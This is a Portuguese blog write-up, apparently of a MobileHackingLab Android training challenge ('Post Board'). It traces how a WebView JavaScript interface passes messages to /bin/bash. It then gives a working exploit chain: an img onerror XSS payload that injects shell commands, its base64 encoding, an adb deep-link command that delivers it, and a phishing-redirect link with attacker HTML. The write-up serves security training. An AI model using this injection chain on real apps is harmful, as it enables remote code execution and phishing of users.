Post Board parte 2

“Cowsay: RCE is coming… “

Javascript Interface

Chegamos na Interface javascript que é a forma que o App utiliza para criar um canal de comunicação entre o código android e o javascript. Para saber o que está acontecendo nas interfaces, é necessário analisar a classe WebAppInterface.


No trecho acima, é possível notar duas funções da interface. Onde o postMarkdownMessage recebe um valor mensagem que vem do decode do Base64. Já o postCowsayMessage recebe como parâmetro a exception da mensagem caso algo dê errado.

postMarkdownMessage

Dentro desta classe nos deparamos com a função que realiza a conversão de markdown para HTML.


Esta é somente uma parte do código, essa parte é bem extensa e não vale a pena mostrar todas as suas funcionalidades.

Eu não procurei por vulnerabilidades na validação do regex, mas vai que….

Logo abaixo nos deparamos com a outra função.

postCowsayMessage

Essa é a função mais importante para nossa análise uma vez que é através dela que vamos conseguir o RCE. Análisando esse trecho do código, é possível notar que existe um utilitário chamado CowsayUtil onde a função runCowsay é invocada.


Uma vez que estamos utilizando o jadx-gui, é posseivel clicar duas vezes nessa função para que possamos achar sua definição. Aqui é possível perceber que essa função executa um comando de sistema /bin/bash concatenando a mensagem. Ou seja se conseguirmos manipular a mensagem e fazer com que essa função seja invocada conseguimos um RCE.


Acredito que essa seja a informação mais relevante de todo este blog, através do javascript, conseguimos interagir com as funções que estão declaradas dentro das interfaces.

Exploit

Primeiro, vamos abusar da primeira vulnerabilidade identificada para conseguir executar javascript na aplicação. Uma vez que ao carregar a imagem que não existe o onerrror entra em ação e executa o javascript chamando a função postCowsayMessage, passando uma mensagem, e três comandos padrões de sistemas baseados em unix.

Utilizei o seguinte payload:

echo "<img src=\"x\" \
onerror=\"WebAppInterface.postCowsayMessage('Moooo;whoami;pwd;date') \
\">"|base64

O resultado em base64 foi o seguinte: PGltZyBzcmM9IngiIG9uZXJyb3I9IldlYkFwcEludGVyZmFjZS5wb3N0Q293c2F5TWVzc2FnZSgnTW9vb287d2hvYW1pO3B3ZDtkYXRlJykgIj4K


O comando abaixo envia o meu payload através de deep link para aplicação que irá interpretar meu código malicioso.

adb shell am start -a android.intent.action.VIEW \ 
-n com.mobilehackinglab.postboard/.MainActivity -d \ 
"postboard://postmessage/PGltZyBzcmM9IngiIG9uZXJyb3I9IldlYkFwcEludGVyZmFjZS5wb3N0Q293c2F5TWVzc2FnZSgnTW9vb287d2hvYW1pO3B3ZDtkYXRlJykgIj4K"

Pronto agora temos execução remota de código através de uma falha na aplicação envolvendo webview, javascript sua interface.


Bonus

Como sempre as aplicações do MobileHackingLab parecem sempre ter algo escondido, aqui consegui provar que é possível utilizar esta falha para executar um payload que redireciona a vítima para o WebAppChromeClient podendo então ser aplicado um golpe de phishing ou redirect para roubar informações do usuário.

Se eu criar o seguinte payload: [Innocent Link](http://192.168.0.9/). Esse comando será convertido em link na aplicação que irá redirecionar o usuário para minha página maliciosa.

Código HTML utilizado no meu servidor web.

<!DOCTYPE html>
<html>
<head>
    <title>Malicious Site</title>
</head>
<body>
    <h1>Welcome to My Evil Website</h1>
    <a href="javascript:alert(1337)">I'm not a virus :)</a>
    </p>
</body>
</html>

Abaixo é o resultado do exploit depois de ser executado.


Video